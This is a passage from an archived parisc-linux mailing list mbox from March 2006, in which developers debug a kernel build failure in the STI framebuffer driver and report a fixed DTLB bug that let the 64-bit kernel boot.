Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05050-05; Mon, 20 Mar 2006 12:42:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDF8E7D6F8;
	Mon, 20 Mar 2006 12:42:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CD007D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 12:42:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05050-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 12:42:43 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 7E8DC7D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Mar 2006 12:42:43 -0700 (MST)
Original-Received: (qmail invoked by alias); 20 Mar 2006 19:42:41 -0000
Original-Received: from p54AD04A4.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.164]
	by mail.gmx.net (mp017) with SMTP; 20 Mar 2006 20:42:41 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200603201947.08045.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +DIscNdAf2I/+IicY2xocyBwdWxlc1aj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23465

Hi Joel,

it builds for me...

Helge

On Monday 20 March 2006 19:47, Helge Deller wrote:
> Hi Joel,
> 
> did you tried a "make distclean", and "make oldconfig" ?
> And, are all your files up-to-date (cvs -z3 -q up) ?
> I'm wondering, since this header file does not do any IO...
> 
> Helge
> 
> On Monday 20 March 2006 12:19, Joel Soete wrote:
> > Hello Helge,
> > 
> > > 
> > > Just a short report build failure of my custom kernel for my d380 (32bit up):
> > >    ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
> > > arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o 
> > > arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
> > > arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
> > > kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o 
> > > security/built-in.o  crypto/built-in.o  block/built-in.o  lib/lib.a 
> > > arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
> > > arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-in.o 
> > > sound/built-in.o  net/built-in.o --end-group 
> > > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> > `gsc_readl'
> > > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> > `gsc_readl'
> > > drivers/built-in.o: In function `sti_rom_copy': undefined reference to
> > `gsc_readb'
> > > drivers/built-in.o: In function `sti_bmode_rom_copy': undefined reference to
> > > `gsc_readl'
> > > drivers/built-in.o: In function `sti_get_wmode_rom': undefined reference to
> > > `gsc_readl'
> > > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > > `gsc_readl'
> > > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > > `gsc_readl'
> > > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > > `gsc_readl'
> > > drivers/built-in.o: more undefined references to `gsc_readl' follow
> > > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > > `ioremap'
> > > drivers/built-in.o: In function `sti_try_rom_generic': undefined reference to
> > > `ioremap_nocache'
> > > make[1]: *** [.tmp_vmlinux1] Error 1
> > > make: *** [vmlinux] Error 2
> > > 
> > it seems that this reverting hunk:
> > --- drivers/video/sticore.h.Orig        2006-03-20 11:50:46.000000000 +0100
> > +++ drivers/video/sticore.h     2006-03-20 11:51:47.000000000 +0100
> > @@ -36,7 +36,7 @@
> >   
> >  #define STI_WAIT 1
> >  
> > -#include <linux/config.h> /* for CONFIG_HPPA_IOREMAP */
> > +#include <asm/io.h> /* for CONFIG_HPPA_IOREMAP */
> >  
> >  #ifdef CONFIG_HPPA_IOREMAP
> >  
> > ====<>====
> > 
> > help (at least to rebuild this kernel).
> > 
> > If you agre, could you check in (I don't have cvs access)?
> > 
> > TIA,
> >     Joel
> > 
> > ---------------------------------------------------------------
> > A free anti-spam and anti-virus filter on all Scarlet mailboxes
> > More info on http://www.scarlet.be/
> > 
> > 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 21:46:01 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <IWG1OP$EFF6BC6280873F13190EC29AE9C4990D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624020 18553 80.91.229.3 (22 Nov 2014 02:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:20 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 20:46:03 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx063) with SMTP; 20 Mar 2006 21:46:03 +0100
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by xizor.is.scarlet.be  with ESMTP id k2KKk1h16878; 
	Mon, 20 Mar 2006 21:46:01 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uS0ncQwWbmw7vq2HZzdLS0RHUzc4chGE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23466

> Hi Joel,
> 
> it builds for me...
> 
Strange but ...
> Helge
> 
> On Monday 20 March 2006 19:47, Helge Deller wrote:
> > Hi Joel,
> > 
> > did you tried a "make distclean", and "make oldconfig" ?
I just did a make clean (to save my .config) then the make oldconfig.
I just need to test again with distclean or from a clean dir (will advise=
).

> > And, are all your files up-to-date (cvs -z3 -q up) ?
No more cvs access but I grab the latest tarball 
(mmm but have the same pb at home with cvs src tree)

> > I'm wondering, since this header file does not do any IO...
> > 
though, I use to build my kernels into a output dir with KBUILD_OUPUT opt=
ion,
could it make the difference?

Thanks (I will come back asap),
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 23:01:57 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <IWG579$D587EF14E82061D3756F5E56CBD16D69@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624021 18557 80.91.229.3 (22 Nov 2014 02:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:21 +0000 (UTC)
Cc: "deller" <deller@gmx.de>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>,
 "tsg45800" <tsg45800@scarlet.be>
To: "soete\.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 22:02:00 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx022) with SMTP; 20 Mar 2006 23:02:00 +0100
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k2KM1vh25375; 
	Mon, 20 Mar 2006 23:01:57 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PE96BXp9fW4orOWveGVodW5mdmllcoWD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23467

Hello Helge,

Sorry in advance for anoying you but it still failed, here what I did (as=

usual, usual is not always a good ref but):
  1/ grab http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.16-pa0=
.tar.bz2

  2/ untar it into /usr/src,
  3/ create also a new dir /usr/src/linux-2.6-pa-d32up-n
  4/ cp the CustomConfigD380 /usr/src/linux-2.6-pa-d32up-n/.config
  5/ cd /usr/src/linux-2.6.16-pa0
  6/ export KBUILD_OUTPUT=3D"../linux-2.6-pa-d32up-n"
  7/ make oldconfig (eventualy keep a trace)
  8/ make V=3D1 vmlinux 
  9/ always failed on the same pb:
  ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o=
 
arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o 
security/built-in.o  crypto/built-in.o  block/built-in.o  lib/lib.a 
arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-i=
n.o 
sound/built-in.o  net/built-in.o --end-group 
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readl'
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readl'
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readb'
drivers/built-in.o: In function `sti_bmode_rom_copy': undefined reference=
 to
`gsc_readl'
drivers/built-in.o: In function `sti_get_wmode_rom': undefined reference =
to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: more undefined references to `gsc_readl' follow
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`ioremap'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`ioremap_nocache'
make[1]: *** [.tmp_vmlinux1] Error 1
make: *** [vmlinux] Error 2

btw I was convience that restauring asm/io.h (i.e. asm-parisc/io.h) 
because it's where gsc_ are defined (but I not a guru and missed somethin=
g else).

Thanks again,
    Joel

PS: for this d380 I can remove this option because it never had any grafi=
c
cards but my c110 has one and use nearly the same config file.=0A=0A-----=
----------------------------------------------------------=0AA free anti-=
spam and anti-virus filter on all Scarlet mailboxes=0AMore info on http:/=
/www.scarlet.be/



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Mon, 20 Mar 2006 15:40:06 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20060320224006.GM8980@parisc-linux.org>
References: <IWFBHA$6574DD99581BECB275DA2287BF1C9843@scarlet.be> <200603201947.08045.deller@gmx.de> <200603202042.40760.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624021 18561 80.91.229.3 (22 Nov 2014 02:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2006 22:40:08 -0000
Original-Received: from palinux.external.hp.com (EHLO palinux.hppa) [192.25.206.14]
  by mx0.gmx.net (mx003) with SMTP; 20 Mar 2006 23:40:08 +0100
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id A108B494037; Mon, 20 Mar 2006 15:40:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603202042.40760.deller@gmx.de>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L0t3CShobHIyva3NNjQ0MikqJihyalDl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23468

On Mon, Mar 20, 2006 at 08:42:40PM +0100, Helge Deller wrote:
> Hi Joel,
> 
> it builds for me...

It depends on your .config.  If you look at
http://cvs.parisc-linux.org/download/linux-2.6/ you'll see 712_defconfig
fail to build for the last two releases.  I'm testing Joel's fix now.
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                                                               
~                                  



From - Thu Nov 08 21:34:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Wed, 22 Mar 2006 00:09:43 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <200603220009.43343.deller@gmx.de>
References: <20060307211213.3A261494013@palinux.hppa>
	<200603121426.16996.deller@gmx.de>
	<20060317172748.GA1851@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624021 18563 80.91.229.3 (22 Nov 2014 02:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Mar 2006 23:09:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 22 Mar 2006 00:09:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DD3E7D6D2;
	Tue, 21 Mar 2006 16:09:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25742-01; Tue, 21 Mar 2006 16:09:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D3977D6CA;
	Tue, 21 Mar 2006 16:09:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 194887D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Mar 2006 16:09:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25353-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Mar 2006 16:09:46 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 16FBF7D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Mar 2006 16:09:45 -0700 (MST)
Original-Received: (qmail invoked by alias); 21 Mar 2006 23:09:44 -0000
Original-Received: from p54AD3936.dip0.t-ipconnect.de (EHLO p100.box) [84.173.57.54]
	by mail.gmx.net (mp029) with SMTP; 22 Mar 2006 00:09:44 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060317172748.GA1851@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LUGbD2uLi5n8ffRZWtpZGZjZml1ZNjB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23469

Hi all,

it turned out, that it was a stupid bug in the PFN calculation of the DTLB handler routine.
It's fixed now in CVS.
The 64bit Kernel boots now, but I still have to clean up STIfb driver to do the right thing.

Anyway, nice to have this fixed.
If STIfb is done, it's time to remove the CONFIG_HPPA_IOREMAP option.

Helge

On Friday 17 March 2006 18:27, Grant Grundler wrote:
> On Sun, Mar 12, 2006 at 02:26:16PM +0100, Helge Deller wrote:
> > Here is the important part of the bootlog:
> ...
> > hpa start = fffffffffed00000 size=4096    <<<<<< this is the Astro BC
> > IOREMAP: phys_addr=fffffffffed00000, offset = 0, size=4096
> > IOREMAP: addr = 0000000000008000         <<<<< the new vm area ( fffffffffed00000(phys) will be mapped to 0x8000(virt))
> > set_pte: virtual:8000 -> phys=fffffffffed00000, pte=fffffffffed00283
> 
> I'm wondering if we want all 64 bits set in the pte or if we only want
> to set the lower 40 (or 44 for pa8800) bits. The Astro system map
> only shows 40-bits.
> 
> The "f_extend" might not be needed for Astro chipset if the HW will
> automatically alias the 32-bit address range for us. The address
> map doesn't indicate 4GB-256MB is aliased. But I wonder how the
> 32-bit OS could otherwise work - unless PA20 CPU is silently
> sign extending everything for us.
> 
> Hrm...suggests that maybe we are doing something wrong in the
> asm for the 64-bit case.
> 
> > Nevertheless, when reading the quadword from (virt) 0x8000+8 it crashes
> > ("A Data Miss Timeout"? - see HPMC log).
> 
> > Although I don't understand why it was 0xfffffffffed10200 and not 0xfffffffffed00008 ?
> 
> As noted before, this is a quirk in the firmware - fed10200 is the memory
> controller.
> 
> > -----------------  Processor 0 HPMC Information ------------------
> ...
> > MEM_ADDR                     = 0x000001ff3fffffff
> 
> ~0UL means not valid.
> 
> > RUN_ADDR                     = 0xc1bff0fffed08040
> 
> This was the last Runway address seen on the bus.
> Ditto for RUN_DATA_HIGH/LOW.
> 
> Unfortunately, fffed08040 is the address of RUN_ADDR register.
> It suggests the memory controller never saw an error
> and continued recording until HPMC code reads RUN_ADDR.
> 
> hth,
> grant
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Tue, 21 Mar 2006 22:52:16 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20060322035216.GQ29323@quicksilver.road.mcmartin.ca>
References: <20060307211213.3A261494013@palinux.hppa> <200603121426.16996.deller@gmx.de> <20060317172748.GA1851@colo.lackof.org> <200603220009.43343.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624022 18568 80.91.229.3 (22 Nov 2014 02:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:22 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@quicksilver.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2006 03:53:40 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx077) with SMTP; 22 Mar 2006 04:53:40 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 15ED05840BC;
	Tue, 21 Mar 2006 22:53:38 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9DC595840B3;
	Tue, 21 Mar 2006 22:53:37 -0500 (EST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id B734223E83;
	Tue, 21 Mar 2006 22:53:06 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06145-05; Tue, 21 Mar 2006 22:53:06 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com [70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca", Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id ED6E823E82;
	Tue, 21 Mar 2006 22:53:05 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id B2A783B060; Tue, 21 Mar 2006 22:52:16 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200603220009.43343.deller@gmx.de>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c/IVcFtDRkkei6uPfGRqamFmdWkvKJPL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23470

On Wed, Mar 22, 2006 at 12:09:43AM +0100, Helge Deller wrote:
> it turned out, that it was a stupid bug in the PFN calculation of the DTLB handler routine.
> It's fixed now in CVS.
> The 64bit Kernel boots now, but I still have to clean up STIfb driver to do the right thing.
>

Wow, way to go! 



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Wed, 22 Mar 2006 18:18:16 +0100
Lines: 141
Approved: news@gmane.org
Message-ID: <IWJHEG$84A0993CB79425B02A52A47173C782A6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624022 18570 80.91.229.3 (22 Nov 2014 02:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
